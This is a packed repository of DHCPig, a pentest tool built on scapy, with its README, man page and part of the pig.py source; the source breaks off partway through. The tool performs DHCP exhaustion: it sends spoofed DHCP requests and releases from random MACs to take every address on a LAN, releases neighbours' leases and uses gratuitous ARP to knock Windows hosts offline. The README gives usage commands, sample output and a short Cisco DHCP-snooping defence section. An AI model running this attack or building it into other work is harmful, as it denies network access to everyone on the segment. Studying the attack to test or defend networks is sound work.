Repository: kamorin/DHCPig
Branch: master
Commit: dfe9e453542b
Files: 4
Total size: 44.5 KB
Directory structure:
gitextract_2g4e905f/
├── README.md
├── dhcpig.1
├── pig.py
└── setup.py
================================================
FILE CONTENTS
================================================
================================================
FILE: README.md
================================================
DHCPig
======
Tags#: DHCP, IPv4, IPv6, exhaustion, pentest, fuzzing, security, scapy
SUMMARY
-------
DHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs on the LAN, stop new users from obtaining IPs,
release any IPs in use, then for good measure send gratuitous ARP and knock all windows hosts offline.
It requires scapy >=2.1 library and admin privileges to execute. No configuration necessary, just pass the interface as
a parameter. It has been tested on multiple Linux distributions and multiple DHCP servers (ISC,Windows 2k3/2k8,..).
When executed the script will perform the following actions:
* Grab your Neighbors IPs before they do
Listen for DHCP Requests from other clients if offer detected, respond with request for that offer.
* Request all available IP addresses in Zone
Loop and Send DHCP Requests all from different hosts & MAC addresses
* Find your Neighbors MAC & IP and release their IP from DHCP server
ARP for all neighbors on that LAN, then send DHCPReleases to server
Finally the script will then wait for DHCP exhaustion, (that is no received DHCP OFFERs for 10 seconds) and then
* Knock all Windows systems offline
gratuitous ARP the LAN, and since no additional DHCP addresses are available these windows systems should stay
offline. Linux systems will not give up IP even when another system on LAN is detected with same IP.
PROTOCOL
--------
* __IPv4__
* SEQUENCE
1. ----> DHCP_DISCOVER
2. <---- DHCP_OFFER
3. ----> DHCP_REQUEST
4. <---- DHCP_REPLY (ACK/NACK)
* DHCPd snoop detection (DHCPd often checks if IP is in use)
* Check for ARP_Snoops
* Check for ICMP Snoops
* __IPv6__
* SEQUENCE
1. ----> DHCP6_SOLICIT
2. <---- DHCP6_ADVERTISE
3. ----> DHCP6_REQUEST
4. <---- DHCP6_REPLY
* DHCPd snoop detection (DHCPd often checks if IP is in use)
* Check for ICMPv6 Snoops
USAGE
-----
enhanced DHCP exhaustion attack plus.
Usage:
pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
Options:
-h, --help <-- you are here :)
-v, --verbosity ... 0 ... no (3)
1 ... minimal
10 ... default
99 ... debug
-6, --ipv6 ... DHCPv6 (off, DHCPv4 by default)
-1, --v6-rapid-commit ... enable RapidCommit (2way ip assignment instead of 4way) (off)
-s, --client-src ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
-S, --ethernet-mac ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)
-O, --request-options ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
-f, --fuzz ... randomly fuzz packets (off)
-t, --threads ... number of sending threads (1)
-a, --show-arp ... detect/print arp who_has (off)
-i, --show-icmp ... detect/print icmps requests (off)
-o, --show-options ... print lease infos (off)
-l, --show-lease-confirm ... detect/print dhcp replies (off)
-g, --neighbors-attack-garp ... knock off network segment using gratious arps (off)
-r, --neighbors-attack-release ... release all neighbor ips (off)
-n, --neighbors-scan-arp ... arp neighbor scan (off)
-x, --timeout-threads ... thread spawn timer (0.4)
-y, --timeout-dos ... DOS timeout (8) (wait time to mass grat.arp)
-z, --timeout-dhcprequest ... dhcp request timeout (2)
-c, --color ... enable color output (off)
EXAMPLE
-------
# requires root privileges to open raw sockets and set the interface in promiscuous mode
sudo ./pig.py eth1
./pig.py eth1
./pig.py --show-options eth1
./pig.py -x1 --show-options eth1
./pig.py -6 eth1
./pig.py -6 --fuzz eth1
./pig.py -6 -c -verbosity=1 eth1
./pig.py -6 -c -verbosity=3 eth1
./pig.py -6 -c -verbosity=100 eth1
./pig.py --neighbors-scan-arp -r -g --show-options eth1
DEPENDENCIES
-------
$ python -m pip install scapy
$ sudo apt-get install libpcap0.8
CHANGELOG
-----
1.6 : 2024-01
* support for python3 & scapy 2.5.0 via charles2910, k4l3b & maniaque
1.5 : 2017-1
* Better support for WiFi. pig no longer spoofs the ethernet frame src MAC address, just chaddr.
* Updated DHCP fingerprint to match existing operating systems. Some routers will only respond to known devices.
* Changed the BOOTP flag to broadcast from unicast. FIOS routers will only respond if broadcast BOOTP option is set.
* Feedback welcome, pig is now running well on the networks we have tested on.
1.0 : 2015-1
* more options, fixed v6 supoprt (LL src addr), color output, minimal and debug output
* more options, double the fun: scapy fuzzing, ipv6 support
* more options, more fun: show options/show icmp/show arp
* fixed indents, beautify doc, eyefriendly one-line-logging
ACTION-SHOTS
-------------
IPv4
x@<:/src/DHCPig# ./pig.py -c -v3 -l -a -i -o eth2
[ -- ] [INFO] - using interface eth2
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.42 from 172.20.15.1
[<---] DHCP_Offer 00:0c:29:da:53:f9 0.0.0.0 IP: 172.20.0.40 for MAC=[de:ad:26:4b:d3:40]
[DBG ] * xid=154552584
[DBG ] * CIaddr='0.0.0.0'
[DBG ] * YIaddr='172.20.0.40'
[DBG ] * SIaddr='0.0.0.0'
[DBG ] * GIaddr='0.0.0.0'
[DBG ] * CHaddr='\xde\xad&K\xd3@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[DBG ] * Sname='ISCdhcpd'
[DBG ] * message-type (2,)
[DBG ] * server_id ('172.20.15.1',)
[DBG ] * lease_time (60000,)
[DBG ] * subnet_mask ('255.254.0.0',)
[DBG ] * router ('172.20.15.1',)
[DBG ] * 39 ('\x01\x01\x01\x00\xac\x14\x0f\x01',)
[--->] DHCP_Request 172.20.0.40
[ <- ] ARP_Request 172.20.0.40 from 172.20.15.1
[--->] DHCP_Discover
[ <- ] ARP_Request 172.20.0.41 from 172.20.15.1
^C[ -- ] ----- ABORT ... -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...
IPv6
x@y:/src/DHCPig# ./pig.py -6 -c -v3 -l eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc7\xde\xad#d\xee\xed']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:7120]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:23:64:ee:ed'] - LEASE: IPv6[fc11:5:5:5::1:7120]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad\x00|\xa8P']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:e447]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:7c:a8:50'] - LEASE: IPv6[fc11:5:5:5::1:e447]
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf3\xc8\xde\xad%\x07\nQ']
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:2644]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:25:07:0a:51'] - LEASE: IPv6[fc11:5:5:5::1:2644]
x@y:/src/DHCPig# ./pig.py -6 -c -v3 -l -a -i -o eth3
[ -- ] [INFO] - using interface eth3
[DBG ] Thread 0 - (Sniffer) READY
[DBG ] Thread 1 - (Sender) READY
[--->] v6_DHCP_Discover [cid:'\x00\x01\x00\x01QR\xf4\x1d\xde\xad\x00`wg']
[ <- ] v6 ICMP REQUEST FROM [00:0c:29:da:53:ef] -> [fe80::20c:29ff:fef8:a1c8]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ] * <bound method DHCP6_Advertise.show of <DHCP6_Advertise msgtype=ADVERTISE trid=0xfb5429
[DBG ] * DHCP6OptIA_NA optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ] * DHCP6OptClientId optcode=CLIENTID optlen=14 duid=<DUID_LLT type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ] * DHCP6OptServerId optcode=SERVERID optlen=14 duid=<DUID_LLT type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ] * DHCP6OptDNSServers optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ] * DHCP6OptNISPServers optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ] * DHCP6OptNISPDomain optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[<---] v6 ADVERTISE FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
[DBG ] * <bound method DHCP6_Advertise.show of <DHCP6_Advertise msgtype=ADVERTISE trid=0xfb5429
[DBG ] * DHCP6OptIA_NA optcode=IA_NA optlen=40 iaid=0xf T1=0 T2=0 ianaopts=[<DHCP6OptIAAddress optcode=IAADDR optlen=24 addr=fc11:5:5:5::1:4e89 preflft=375 validlft=600 |>]
[DBG ] * DHCP6OptClientId optcode=CLIENTID optlen=14 duid=<DUID_LLT type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Fri, 27 Mar 2043 13:29:01 +0000 (2311075741) lladdr=de:ad:00:60:77:67 |>
[DBG ] * DHCP6OptServerId optcode=SERVERID optlen=14 duid=<DUID_LLT type=Link-layer address plus time hwtype=Ethernet (10Mb) timeval=Tue, 26 Mar 2013 08:31:13 +0000 (1364286673) lladdr=00:0c:29:da:53:ef |>
[DBG ] * DHCP6OptDNSServers optcode=DNS Recursive Name Server Option optlen=32 dnsservers=[ fc11:5:5:5::99, fc11:5:5:5::98 ]
[DBG ] * DHCP6OptNISPServers optcode=OPTION_NISP_SERVERS optlen=16 nispservers=[ fc11:5:5:5::100 ]
[DBG ] * DHCP6OptNISPDomain optcode=OPTION_NISP_DOMAIN_NAME optlen=11 nispdomain='myNISname' |>>>>>>>>
[--->] v6 REQUEST ACK IPv6[fc11:5:5:5::1:4e89]
[ <- ] v6 DHCP REPLY FROM ['00:0c:29:da:53:ef'] -> ['de:ad:00:60:77:67'] - LEASE: IPv6[fc11:5:5:5::1:4e89]
^C[ -- ] ----- ABORT ... -----
[DBG ] Waiting for Thread 0 to die ...
[DBG ] Waiting for Thread 1 to die ...
Minimal Output (verbosity=1)
. = DHCP_Discovery
! = DHCP_Offer
; = ICMP/ARP/DHCP_ACKs
D = DEBUG output (show options, etc.)
E = ERROR
N = NOTICE / INFO
x@y:/src/DHCPig# ./pig.py -6 -c -v1 -a -i -o -l eth3
WARNING: No route found for IPv6 destination :: (no default route?)
NDD.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.!DDDDDDD.;;;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.;tcpdump: WARNING: eth3: no IPv4 address assigned
.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;.!DDDDDDD.!DDDDDDD.;;.!DDDDDDD.;;.!DDDDDDD.!DDDDDDD.;;^CNDD
x@y:/src/DHCPig# ./pig.py -6 -c -v1 -l eth3
NDD!.!.;;;;.!.!.;;;;.!.;.!.!.;;.!.;.!.!.;;.!.;.!.;.!.!.;;.!.;^CNDD
DEFENSE
-------
most common approach to defending DHCP exhaustion is via access layer switching or wireless controllers.
In cisco switching simplest option is to enable DHCP snooping. Snooping will defend against pool exhaustion,
IP hijacking, and DHCP sever spoofing all of which are used in DHCPig. Based on examined traffic, DHCP
snooping will create a mapping table from IP to mac on each port. User access ports are then restricted to only
the given IP. Any DHCP server messages originating from untrusted ports are filtered.
enable the following to defend against pool exhaustion, IP hijacking, and DHCP sever spoofing:
* enable snooping
`ip dhcp snooping`
* specify which port your DHCP is associated with. Most likely this is your uplink. Doing the following will
limit DHCP server responses to only the specified port, so use after testing in lab environment.
`int fa0/1` (or correct interface)
`ip dhcp snooping trust`
* show status
`show ip dhcp snopping`
`show ip dhcp snopping binding`
* additional info:
http://www.cisco.com/en/US/docs/switches/lan/catalyst4500/12.1/12ew/configuration/guide/dhcp.pdf
LICENSE:
--------
These scripts are all released under the GPL v2 or later. For a full description of the licence,
please visit [http://www.gnu.org/licenses/gpl.txt](http://www.gnu.org/licenses/gpl.txt)
DISCLAIMER:
---------
All information and software available on this site are for educational purposes only. The author
is no way responsible for any misuse of the information.
//Kevin
//tintin
================================================
FILE: dhcpig.1
================================================
.TH "DHCPIG" "1" " DHCPig Man Page" "Philippe Thierry" "June 2017"
.nh
.ad l
.SH NAME
.PP
dhcpig \- DHCP exhaustion script using scapy network library
.SH SYNOPSIS
.PP
\fBdhcpig [options] <interface>\fP
\fBdhcpig \-h|\-\-help\fP
.SH DESCRIPTION
.PP
DHCPig initiates an advanced DHCP exhaustion attack. It will consume all IPs
on the LAN, stop new users from obtaining IPs, release any IPs in use, then
for good measure send gratuitous ARP and knock all windows hosts offline.
.PP
When executed the script will perform the following actions:
.PP
Grab your Neighbors IPs before they do
Listen for DHCP Requests from other clients if offer detected, respond with
request for that offer.
.PP
Request all available IP addresses in Zone
Loop and Send DHCP Requests all from different hosts \& MAC addresses
.PP
Find your Neighbors MAC \& IP and release their IP from DHCP server
ARP for all neighbors on that LAN, then send DHCPReleases to server
.PP
Finally the script will then wait for DHCP exhaustion, (that is no received
DHCP OFFERs for 10 seconds) and then
.PP
Knock all Windows systems offline
gratuitous ARP the LAN, and since no additional DHCP addresses are available
these windows systems should stay offline. Linux systems will not give up IP
even when another system on LAN is detected with same IP.
.SH OPTIONS:
.PP
The options of DHCPig are the following. For each option, the default value or
default behavior is set between parenthesis.
.PP
\fB\-h\fP, \fB\-\-help\fP
show this help message and exit
.PP
\fB\-v, \-\-verbosity\fP
Set verbosity level. Can be set to:
0 ... no (3)
1 ... minimal
10 ... default
99 ... debug
.PP
\fB\-6, \-\-ipv6\fP
DHCPv6 (off, DHCPv4 by default)
.PP
\fB\-1, \-\-v6\-rapid\-commit\fP
enable RapidCommit (2way ip assignment instead of 4way) (off)
.PP
\fB\-s, \-\-client\-src\fP
a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
.PP
\fB\-S, \-\-ethernet\-mac\fP
Use identical MAC addresses on the Ethernet frame and DHCP frame
.PP
\fB\-O, \-\-request\-options\fP
option\-codes to request e.g. 21,22,23 or 12,14\-19,23 (Default: 0\-80)
.PP
\fB\-f, \-\-fuzz\fP
randomly fuzz packets (off)
.PP
\fB\-t, \-\-threads\fP
number of sending threads (1)
.PP
\fB\-a, \-\-show\-arp\fP
detect/print arp who\_has (off)
.PP
\fB\-i, \-\-show\-icmp\fP
detect/print icmps requests (off)
.PP
\fB\-o, \-\-show\-options\fP
print lease infos (off)
.PP
\fB\-l, \-\-show\-lease\-confirm\fP
detect/print dhcp replies (off)
.PP
\fB\-g, \-\-neighbors\-attack\-garp\fP
knock off network segment using gratious arps (off)
.PP
\fB\-r, \-\-neighbors\-attack\-release\fP
release all neighbor ips (off)
.PP
\fB\-n, \-\-neighbors\-scan\-arp\fP
arp neighbor scan (off)
.PP
\fB\-x, \-\-timeout\-threads\fP
thread spawn timer (0.4)
.PP
\fB\-y, \-\-timeout\-dos\fP
DOS timeout (8) (wait time to mass grat.arp)
.PP
\fB\-z, \-\-timeout\-dhcprequest\fP
dhcp request timeout (2)
.PP
\fB\-c, \-\-color\fP
enable color output (off)
.SH HISTORY
.PP
June 2017, Man page originally compiled by Philippe Thierry (phil at reseau\-libre dot
com)
================================================
FILE: pig.py
================================================
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
"""
enhanced DHCP exhaustion attack.
Doc:
http://github.com/kamorin/DHCPig
Usage:
pig.py [-h -v -6 -1 -s -S -f -t -a -i -o -l -x -y -z -g -r -n -c ] <interface>
Options:
-h, --help <-- you are here :)
-v, --verbosity ... 0 ... no (3)
1 ... minimal
10 ... default
99 ... debug
-6, --ipv6 ... DHCPv6 (off, DHCPv4 by default)
-1, --v6-rapid-commit ... enable RapidCommit (2way ip assignment instead of 4way) (off)
-s, --client-src ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
-S, --ethernet-mac ... Use identical MAC addresses on the Ethernet frame and DHCP frame (off)
-O, --request-options ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)
-f, --fuzz ... randomly fuzz packets (off)
-t, --threads ... number of sending threads (1)
-a, --show-arp ... detect/print arp who_has (off)
-i, --show-icmp ... detect/print icmps requests (off)
-o, --show-options ... print lease infos (off)
-l, --show-lease-confirm ... detect/print dhcp replies (off)
-g, --neighbors-attack-garp ... knock off network segment using gratious arps (off)
-r, --neighbors-attack-release ... release all neighbor ips (off)
-n, --neighbors-scan-arp ... arp neighbor scan (off)
-x, --timeout-threads ... thread spawn timer (0.4)
-y, --timeout-dos ... DOS timeout (8) (wait time to mass grat.arp)
-z, --timeout-dhcprequest ... dhcp request timeout (2)
-c, --color ... enable color output (off)
"""
from scapy.all import *
import string, binascii, signal, sys, threading, socket, struct, getopt
from sys import stdout
class Colors:
class Palette:
'''
dummy, as python 2.5 does not support namedtuples
'''
black = None
red = None
green = None
yellow = None
blue = None
purple = None
cyan = None
grey = None
# forecolor
endc = "\033[0m"
black = "\033[30m"
red = "\033[31m"
green = "\033[32m"
yellow = "\033[33m"
blue = "\033[34m"
purple = "\033[35m"
cyan = "\033[36m"
grey = "\033[37m"
# back color
background = Palette
background.black = "\033[40m"
background.red = "\033[41m"
background.green = "\033[42m"
background.yellow = "\033[43m"
background.blue = "\033[44m"
background.purple = "\033[45m"
background.cyan = "\033[46m"
background.grey = "\033[47m"
# attribs
bold = "\033[1m"
underline = "\033[4m"
blink = "\033[5m"
invert = "\033[7m"
'''
Defaults
'''
conf.checkIPaddr = False
conf.iface = "lo"
conf.verb = False
SHOW_ARP = True
SHOW_ICMP = False
SHOW_DHCPOPTIONS = False
SHOW_LEASE_CONFIRM = False
MODE_IPv6 = False
MODE_FUZZ = False
DO_GARP = False
DO_RELEASE = False
DO_ARP = False
MAC_LIST = []
TIMEOUT={}
TIMEOUT['dos']=8
TIMEOUT['dhcpip']=2
TIMEOUT['timer']=0.4
DO_COLOR = False
ETHERNET_MAC = False
COLORSCHEME = {'<--':Colors.green+"%s"+Colors.endc,
'<-':Colors.blue+"%s"+Colors.endc,
'->':Colors.cyan+"%s"+Colors.endc,
'-->':Colors.grey+"%s"+Colors.endc,
'?':Colors.yellow+"%s"+Colors.endc,
'DEBUG':Colors.purple+"%s"+Colors.endc,
'NOTICE': Colors.bold+Colors.red+"%s"+Colors.endc,
'ERROR': Colors.bold+Colors.red+"%s"+Colors.endc,
'WARNING': Colors.bold+Colors.yellow+"%s"+Colors.endc,
None:'%s'}
MSGSCHEME = {'<--' :"[<---] %s", # inbound
'-->' :"[--->] %s", # outpund
'->' :"[ -> ] %s", # icmp / arp out
'<-' :"[ <- ] %s", # icmp / arp in
'?' :"[ ?? ] %s",
'DEBUG' :"[DBG ] %s",
'NOTICE' :"[ -- ] %s",
'WARNING' :"[ !! ] %s",
'ERROR' :"[XXXX] %s",
}
MSGSCHEME_MIN = {'<--' :"!",
'-->' :".",
'->' :":",
'<-' :";",
'?' :"?",
'DEBUG' :"D",
'NOTICE' :"N",
'WARNING' :"W",
'ERROR' :"E",
}
DO_v6_RC = False
VERBOSITY = 3
THREAD_CNT = 1
THREAD_POOL = []
REQUEST_OPTS = range(80)
def checkArgs():
global SHOW_ARP, SHOW_ICMP, SHOW_DHCPOPTIONS, TIMEOUT, MODE_IPv6, MODE_FUZZ, DO_ARP, DO_GARP, DO_RELEASE, MAC_LIST, ETHERNET_MAC, DO_COLOR,DO_v6_RC, VERBOSITY,THREAD_CNT,SHOW_LEASE_CONFIRM,REQUEST_OPTS
try:
opts, args = getopt.getopt(sys.argv[1:], "haiolx:y:z:6fgrnsSc1v:t:O:", ["help","show-arp","show-icmp",
"show-options","timeout-threads=","timeout-dos=",
"timeout-dhcprequest=", "neighbors-scan-arp",
"neighbors-attack-release", "neighbors-attack-garp",
"fuzz","ipv6","client-src=","ethernet-mac","color","v6-rapid-commit",
"verbosity=","threads=", "show-lease-confirm","request-options="])
except getopt.GetoptError as err:
# print help information and exit:
print(str(err)) # will print something like "option -a not recognized"
usage()
sys.exit(2)
for o,a in opts:
if o in ("-h", "--help"):
usage()
sys.exit()
elif o in ("-a", "--show-arp"):
SHOW_ARP = False
elif o in ("-i", "--show-icmp"):
SHOW_ICMP = True
elif o in ("-o", "--show-options"):
SHOW_DHCPOPTIONS = True
elif o in ("-l", "--show-lease-confirm"):
SHOW_LEASE_CONFIRM = True
elif o in ("-x", "--timeout-threads"):
TIMEOUT['timer'] = float(a)
elif o in ("-y", "--timeout-dos"):
TIMEOUT['dos'] = float(a)
elif o in ("-z", "--timeout-dhcprequest"):
TIMEOUT['dhcpip'] = float(a)
elif o in ("-6", "--ipv6"):
MODE_IPv6 = True
elif o in ("-f", "--fuzz"):
MODE_FUZZ = True
elif o in ("-g", "--neighbors-attack-garp"):
DO_GARP = True
elif o in ("-r", "--neighbors-attack-release"):
DO_RELEASE = True
elif o in ("-n", "--neighbors-scan-arp"):
DO_ARP = True
elif o in ("-s", "--client-src"):
MAC_LIST = a.strip().split(",")
elif o in ("-S", "--ethernet-mac"):
ETHERNET_MAC = True
elif o in ("-c", "--color"):
DO_COLOR = True
elif o in ("-1", "--v6-rapid-commit"):
DO_v6_RC = True
elif o in ("-v", "--verbosity"):
VERBOSITY = int(a)
if VERBOSITY >= 99:
conf.verb = True
elif o in ("-t", "--threads"):
THREAD_CNT = int(a)
elif o in ("-O", "--request-options"):
REQUEST_OPTS = []
for o in a.split(","):
if "-" in o:
x = o.split("-")
if len(x) == 2:
REQUEST_OPTS += range(int(x[0]),int(x[1]))
else:
print("Error in option - request-options")
usage()
exit()
else:
REQUEST_OPTS.append(int(o))
# REQUEST_OPTS = [int(o) for o in REQUEST_OPTS]
else:
assert False, "unhandled option"
if len(args) == 1:
if WINDOWS:
conf.iface = IFACES.dev_from_name(args[0])
else:
conf.iface = args[0]
else:
usage()
sys.exit(2)
if conf.verb:
print("""---------------------[OPTIONS]-----------
IPv6 %s
fuzz %s
DONT_SHOW_ARP %s
SHOW_ICMP %s
SHOW_DHCPOPTIONS %s
SHOW_LEASE_CONFIRMATION %s
REQUEST_DHCP_Options %s
timeout-threads %s
timeout-dos %s
timeout-dhcprequest %s
neighbors-attack-garp %s
neighbors-attack-release %s
neighbors-scan-arp %s
neighbors-scan-arp %s
color %s
-----------------------------------------
"""%(MODE_IPv6, MODE_FUZZ, SHOW_ARP, SHOW_ICMP, SHOW_DHCPOPTIONS, SHOW_LEASE_CONFIRM, repr(REQUEST_OPTS),
TIMEOUT['timer'], TIMEOUT['dos'], TIMEOUT['dhcpip'],
DO_GARP, DO_RELEASE, DO_ARP, repr(MAC_LIST), DO_COLOR))
def LOG(message=None, type=None):
if VERBOSITY <= 0:
return
elif VERBOSITY == 1:
# minimal verbosity ... dot style output
if type in MSGSCHEME_MIN:
message = MSGSCHEME_MIN[type]
if DO_COLOR and type in COLORSCHEME:
message = COLORSCHEME[type]%message
stdout.write("%s"%message)
stdout.flush()
else:
if type in MSGSCHEME:
message = MSGSCHEME[type]%message
if DO_COLOR and type in COLORSCHEME:
message = COLORSCHEME[type]%message
if MODE_FUZZ:
stdout.write("[FUZZ] %s\n"% (message))
else:
stdout.write("%s\n"% (message))
stdout.flush()
def signal_handler(signal, frame):
LOG(type="NOTICE", message= ' ----- ABORT ... -----')
i = 0
for t in THREAD_POOL:
t.kill_received = True
LOG(type="DEBUG", message= 'Waiting for Thread %d to die ...'%i)
i+=1
sys.exit(0)
# Necessary Network functions not included in scapy
#
def randomMAC():
global MAC_LIST
if len(MAC_LIST)>0:
curr = MAC_LIST.pop()
MAC_LIST = [curr]+MAC_LIST
return curr
mac = [ 0xDE, 0xAD,
random.randint(0x00, 0x29),
random.randint(0x00, 0x7f),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff) ]
return ':'.join(map(lambda x: "%02x" % x, mac))
def toNum(ip):
"convert decimal dotted quad string to long integer"
return struct.unpack('L',socket.inet_aton(ip))[0]
def get_if_net(iff):
for net, msk, gw, iface, addr, metric in read_routes():
if (iff == iface and net != 0):
return ltoa(net)
warning("No net address found for iface %s\n" % iff)
def get_if_msk(iff):
for net, msk, gw, iface, addr, metric in read_routes():
if (iff == iface and net != 0):
return ltoa(msk)
warning("No net address found for iface %s\n" % iff)
def get_if_ip(iff):
for net, msk, gw, iface, addr, metric in read_routes():
if (iff == iface and net != 0):
return addr
warning("No net address found for iface %s\n" % iff)
def calcCIDR(mask):
mask = mask.split('.')
bits = []
for c in mask:
bits.append(bin(int(c)))
bits = ''.join(bits)
cidr = 0
for c in bits:
if c == '1': cidr += 1
return str(cidr)
def unpackMAC(binmac):
return str2mac(binmac)
##########################################################
#
# IPv6 Packet crafting
#
"""
protocol specific stuff
c2s -> solicit
s2c -> advertise
c2s -> request
s2c -> reply
"""
def v6_build_ether(mac):
IPv6mcast="33:33:00:01:00:02"
#IPv6LL="fe80::20c:29ff:fef8:a1c8"
IPv6LL = [addr for addr,y,intf in in6_getifaddr() if intf==conf.iface]
if len(IPv6LL)>0:
IPv6LL=IPv6LL[0]
else:
LOG(type="NOTICE",message="Could not determine v6 Link-Local Address")
exit()
IPv6bcast="ff02::1:2"
IPv6DHCP_CLI_Port=546
IPv6DHCP_SRV_Port=547
ethead=Ether(src=mac,dst=IPv6mcast)/IPv6(src=IPv6LL,dst=IPv6bcast)/UDP(sport=IPv6DHCP_CLI_Port,dport=IPv6DHCP_SRV_Port)
return ethead
def v6_build_discover(mac,trid=None,options=[23,24]):
ethead=v6_build_ether(mac)
trid=trid or random.randint(0x00,0xffffff)
cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time())))
if DO_v6_RC:
dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptRapidCommit()/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options)
else:
dhcp_discover = ethead/DHCP6_Solicit(trid=trid)/cli_id/DHCP6OptIA_NA(iaid=0xf)/DHCP6OptElapsedTime()/DHCP6OptOptReq(reqopts=options)
return dhcp_discover
def v6_build_request(p_advertise,iaid=0xf,trid=None,options=[23,24]):
trid=trid or random.randint(0x00,0xffffff)
ethead=v6_build_ether(p_advertise[Ether].dst)
srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid)
cli_id=p_advertise[DHCP6OptClientId]
iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid)
dhcp_request=ethead/DHCP6_Request(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime()/DHCP6OptOptReq( reqopts=options)
return dhcp_request
def v6_build_release(p_advertise,mac,iaid=0xf,trid=None):
trid=trid or random.randint(0x00,0xffffff)
ethead=v6_build_ether(p_advertise[Ether].dst)
srv_id=DHCP6OptServerId(duid=p_advertise[DHCP6OptServerId].duid)
cli_id=DHCP6OptClientId(duid=DUID_LLT(lladdr=mac,timeval=int(time.time())))
iana=DHCP6OptIA_NA(ianaopts=p_advertise[DHCP6OptIA_NA].ianaopts, iaid=iaid)
dhcp_request=ethead/DHCP6_Release(trid=trid)/cli_id/srv_id/iana/DHCP6OptElapsedTime()
return dhcp_request
def sendPacket(pkt):
if MODE_FUZZ:
# only fuzz: UDP with payload of UDP (DHCP messages)
pkt[UDP] = fuzz(pkt[UDP])
#pkt = [pkt]*100
sendp(pkt, iface=conf.iface)
def neighbors():
"""
ARP and create map of LAN neighbors
"""
global dhcpsip, subnet, nodes
nodes = {}
if MODE_IPv6:
LOG(type="WARNING", message="IPv6 - neighbors() not supported at this point ")
else:
myip = get_if_ip(conf.iface)
LOG(type="DEBUG", message="NEIGHBORS: net = %s : msk =%s : CIDR=%s"%(get_if_net(conf.iface),get_if_msk(conf.iface),calcCIDR(get_if_msk(conf.iface))))
